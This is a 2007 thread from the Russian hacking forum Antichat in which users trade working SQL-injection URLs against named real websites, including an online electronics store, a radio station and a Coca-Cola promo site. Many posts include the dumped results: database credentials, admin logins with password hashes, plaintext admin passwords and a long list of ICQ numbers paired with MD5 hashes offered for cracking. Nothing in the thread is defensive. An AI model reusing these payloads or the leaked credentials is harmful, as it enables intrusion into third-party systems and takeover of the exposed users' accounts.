HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 27.06.2007, 14:39
SWAT
Участник форума
Регистрация: 14.12.2006
Сообщений: 211
Провел на форуме:
1541753

Репутация: 552
По умолчанию

http://web.northshield.org/events/calentry.php?ID=-301+union+select+1,2,concat_ws(0x203a20,username,p assword),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 ,20,21,22,23,24,25,26,27,28+from+users/*
 
Ответить с цитированием

  #2  
Старый 27.06.2007, 17:33
blaga
Постоянный
Регистрация: 23.03.2006
Сообщений: 977
Провел на форуме:
2976185

Репутация: 694


Отправить сообщение для blaga с помощью ICQ
По умолчанию

Цитата:
http://www.beststroy.ru/articles_cat.php?id=-2+union+select+1,version()/*
http://www.beznakrutki.ru/navigator.php?katalogid=3&rasdel=-3+union+select+1,database(),version(),4,5/*
вторая - онлайн шоп
 
Ответить с цитированием

  #3  
Старый 27.06.2007, 18:04
Constantine
Members of Antichat - Level 5
Регистрация: 24.11.2006
Сообщений: 927
Провел на форуме:
7192869

Репутация: 3033


По умолчанию

Обновил Антибоян до 260 страницы, юзаем
http://antiboyansql.narod.ru/sql.txt

Спасибо geezer.code и Boccob
__________________

Дети индиго - это бездари, не надо песен! В пять лет едва говорить начинают, мы в этом возрасте стихи наизусть читали!

з.ы http://www.youtube.com/watch?v=sNsQe0KByRY Я ПлакалЪ
 
Ответить с цитированием

  #4  
Старый 28.06.2007, 01:25
x.Elf
Познающий
Регистрация: 24.05.2007
Сообщений: 38
Провел на форуме:
114515

Репутация: 29
Отправить сообщение для x.Elf с помощью ICQ
По умолчанию

[Цензура]

Grey: На будующее, таких фраз лучше избегать, этот форум не посвящен политики.

------------------------------------------------------

http://www.siin.ee/bestdesign/?keel=rus&mid=0&include=news_viewer&nid=-1+union+select+1,2,3,4,5,6,7,8,9,10,11/*

Помогите - подобрать - таблицы!

Последний раз редактировалось Grey; 28.06.2007 в 01:33.. Причина: Удалил вызывающую фразу.
 
Ответить с цитированием

  #5  
Старый 28.06.2007, 09:42
C!klodoL
Постоянный
Регистрация: 05.06.2007
Сообщений: 335
Провел на форуме:
4319431

Репутация: 677
По умолчанию

cocacola.ru
Код:
http://cocacola.ru/promo/antidacha/story.php?id=1+union+select+1,DATABASE(),3,4,USER(),VERSION(),7,8,9/*
таблицы подбирать было лень
 
Ответить с цитированием

  #6  
Старый 28.06.2007, 11:34
big_BRAT
Познающий
Регистрация: 24.12.2006
Сообщений: 90
Провел на форуме:
1292655

Репутация: 168
Отправить сообщение для big_BRAT с помощью ICQ
По умолчанию

Разработка сайтов "С-Дизайн", создание сайтов, хостинг, регистрация доменных имен (CMS разработана ими => ошибка во всех сданых проэктах)
Код:
_http://sdesign.com.ua/search.html?s=-1+union+select+1,2,3,4,version(),6/*
Content.com.ua - интернет журнал для владельцев корпоративных веб-сайтов
Код:
_http://www.content.com.ua/print?idsource=99999+union+select+1,2,version(),4,5,6,7,8,9,0,1,2/*
НАШЕ Радио, найближча станція
Код:
_http://www.nashe.ua/news2.php?id=2349'+union+select+1,version(),3,4,5,6,7,8,9,0,1,2/*
Продажа квартир Киев, аренда офисов Киев, недвижимость Украины, новостройки, агентства недвижимости
Код:
_http://tv.realtors.com.ua/index.php?channel=2000+union+select+1,version(),3,4+from+users/*
Телевізійний проект "Шанс", канал "Інтер"
Код:
_http://www.shans-ua.com/?Id=1&pg1=1&pg2=1&nId=566+union+select+1,2,3,4,5,6,7,concat(login,char(58),password),9+from+users+limit+0,1/*
=========================
ну и на сладкое один из крупнейших инет магазинов Украины.
Интернет-магазин бытовой техники, сотовых телефонов, компьютеров и компьютерной техники, Украина - Matrix, Лауреат в номинации "Лучший интернет-магазин"

Код:
_http://www.matrix.ua/polls/?poll_id=2444+union+select+1,TABLE_NAME,3,4,5+from+INFORMATION_SCHEMA.TABLES+limit+61,1/*

Последний раз редактировалось _Pantera_; 28.06.2007 в 12:36..
 
Ответить с цитированием

  #7  
Старый 28.06.2007, 15:48
Grey
Познавший АНТИЧАТ
Регистрация: 10.06.2006
Сообщений: 1,113
Провел на форуме:
17668503

Репутация: 5826


По умолчанию

Код:
http://www.redline61.ru/show_titel.php?name=bardachok&id=-1+union+select+1,2,3,4,concat(database(),char(58),user(),char(58),version()),6/*
udb3478:Uwww3478S@localhost:4.0.26

Код:
http://www.redline61.ru/show_titel.php?name=bardachok&id=-1+union+select+1,2,3,4,concat(username,char(58),user_password),6+from+phpbb_users+limit+1,1/*
Past:fedfd9eb856714f7e503036b451b9305:::8854051

Код:
http://www.redline61.ru/show_titel.php?name=bardachok&id=-1+union+select+1,2,3,4,concat(username,char(58),user_password),6+from+phpbb_users+where+username=char(122,117,98,105,108,111)/*
zubilo:2011fed5a93acfe8f9014bd5ebb3afed:::vfqrfg

Код:
http://www.redline61.ru/show_titel.php?name=bardachok&id=-1+union+select+1,2,3,4,concat(username,char(58),user_password),6+from+phpbb_users+where+username=char(69,68,68,89)/*
EDDY:67a0f0a3c1b6fbd6c4b4997bce86a5ed:::421680
 
Ответить с цитированием

  #8  
Старый 28.06.2007, 23:26
[53x]Shadow
Leaders of Antichat
Регистрация: 25.01.2007
Сообщений: 341
Провел на форуме:
3372120

Репутация: 2565
По умолчанию

Цитата:
Сообщение от C!klodoL  
cocacola.ru
Код:
http://cocacola.ru/promo/antidacha/story.php?id=1+union+select+1,DATABASE(),3,4,USER(),VERSION(),7,8,9/*
таблицы подбирать было лень
Таблица users
Код:
http://cocacola.ru/promo/antidacha/story.php?id=1+union+select+1,2,3,4,5,concat(name,0x3a,password,0x3a,email),7,8,9+from+users+where+id=1/*
Правда всего одна запись - админ
admin:7b21848ac9af35be0ddb2d6b9fc3851934db8420:inf o@rg.by
 
Ответить с цитированием

www.wapro.ru
  #9  
Старый 28.06.2007, 13:43
_Pantera_
Участник форума
Регистрация: 06.10.2006
Сообщений: 226
Провел на форуме:
3025546

Репутация: 1327
Отправить сообщение для _Pantera_ с помощью ICQ
По умолчанию www.wapro.ru

сайт www.wapro.ru посвящен WAP-у. PR-4. MySQL-5.

chatamobile.user
Код:
http://www.wapro.ru/melody/loadpoly.php?id=-2+union+select+1,concat(login,char(58),password),3,4,5,6,7,8,9,10+from+chatamobile.user/*
mail.users
Код:
http://www.wapro.ru/melody/loadpoly.php?id=-2+union+select+1,concat(domain,char(58),password),3,4,5,6,7,8,9,10+from+mail.users/*
mysql.user
Код:
http://www.wapro.ru/melody/loadpoly.php?id=-2+union+select+1,concat(User,char(58),Password),3,4,5,6,7,8,9,10+from+mysql.user/*
foruma.fora_users
Код:
http://www.wapro.ru/melody/loadpoly.php?id=-2+union+select+1,concat(user_icq,char(58),user_password),3,4,5,6,7,8,9,10+from+foruma.fora_users/*
база давольно неплохая, вот админ
PHP код:
Admin:24ae2f800daf6a117841c5c61be67a67 
дальше изучая базу я отобрал довольно красивые аськи(хочу заметить что пароли для входа на форум и могут и не подойти для уинов, но надежда, как говориться, умирает последней(как показывает практика, большенство юзеров используют один, относительно сложный пароль для всего)), надеюсь комуто из вас повезет в расшифровке MD5
Цитата:
442200:10ebf2d1e312389e3b8baca29f1fd421
23323332:95dc8fc16dc55e9d4902eaa0861638a5
423423:d9a40cfb1692dfd49829d109a8af86a5
27539:3bae43f4cfc7acd1a699e996ef3fac5b
345671:98c6838c94fe120d3082c8d5f4f413c9
984654:246889492fc07811d7582fd536b7d68c
987645:24e8ce64f14321a98dcab7ee41dfe9bc
987546:7cfbd7dbadb4f24607832821f7b303d6
885021:546af3c7c8b162b99963a6c62447a59d
568548:7f402a42733eff76f00c5bd6394621ed
1000001:d74c12c77e8259492f8003136a5c26ba
87964:2166428a87325ff398144b0d12cec45a
798613:d6e467f1f1f7839c5e03d51029faf393
787878:042bf3b0246f1bcdcf55c73e9a110e24
569874:a219b873b8172963ce021112159df72a
9955668:2ebb18ec08da2ac6c22f80a3205af3e8
132453:f50b911ff609c703baab2a8f2b085203
144442:0d1812f0d53bac5ff80fef2b9a41349d
987564:f5ccdca1979f823c8faae9abd5e9130e
104134:1fdb82c37295e1c087578c07f3ff6e46
243342:c64e0cf9ce260990d6472f3c333266dc
342295:c6872161c52f9620f887974469f32ada
535355:cde5c8d0c68fb39fdd9538d2e322d9a3
101444:a5e79e5498ff07ed2d6a583c37c8d829
293694:bd1ed02d8e1bb36a6c93a1247e02a0a7
548782:04bfb286a0a8c56153e62103f4cd44bf
846541:2ed4f8f98582f2d52f73bf578e96b82d
798755:a90371d82212679dbb6943dd6587f825
984679:c37b9bc2bf1579e8136ddad7bfcfbfdc
452356:c8443dcc4bad7c2ecd683cac9362ba09
3434899:a36ed3236641bff0aed700898285e881
821170:45f65bf28237101d4f810d9492789216
737084:bc3070228848d8cceabf3510bb254b7f
324876:5c5807bab80a0dee4bb43821db1dbe1f

Последний раз редактировалось _Pantera_; 28.06.2007 в 15:01..
 
Ответить с цитированием

  #10  
Старый 29.06.2007, 10:55
_Pantera_
Участник форума
Регистрация: 06.10.2006
Сообщений: 226
Провел на форуме:
3025546

Репутация: 1327
Отправить сообщение для _Pantera_ с помощью ICQ
По умолчанию

Код:
http://links.allprikol.ru/links.php?id=-2+union+select+1,AES_DECRYPT(AES_ENCRYPT(concat(name,char(58),password),0x78),0x78),3+from+admin/*
пассы админов в открытом виде, но админки найти не смог, кто найдет поставлю +5
fishkafix:lorddark13
DtSc:ldoprhhk


_______

Код:
http://www.trubka.ru/cellular/links_s.php?id=-2+union+select+1,concat(login,char(58),password),3,4+from+admin/*

Последний раз редактировалось _Pantera_; 29.06.2007 в 12:52..
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ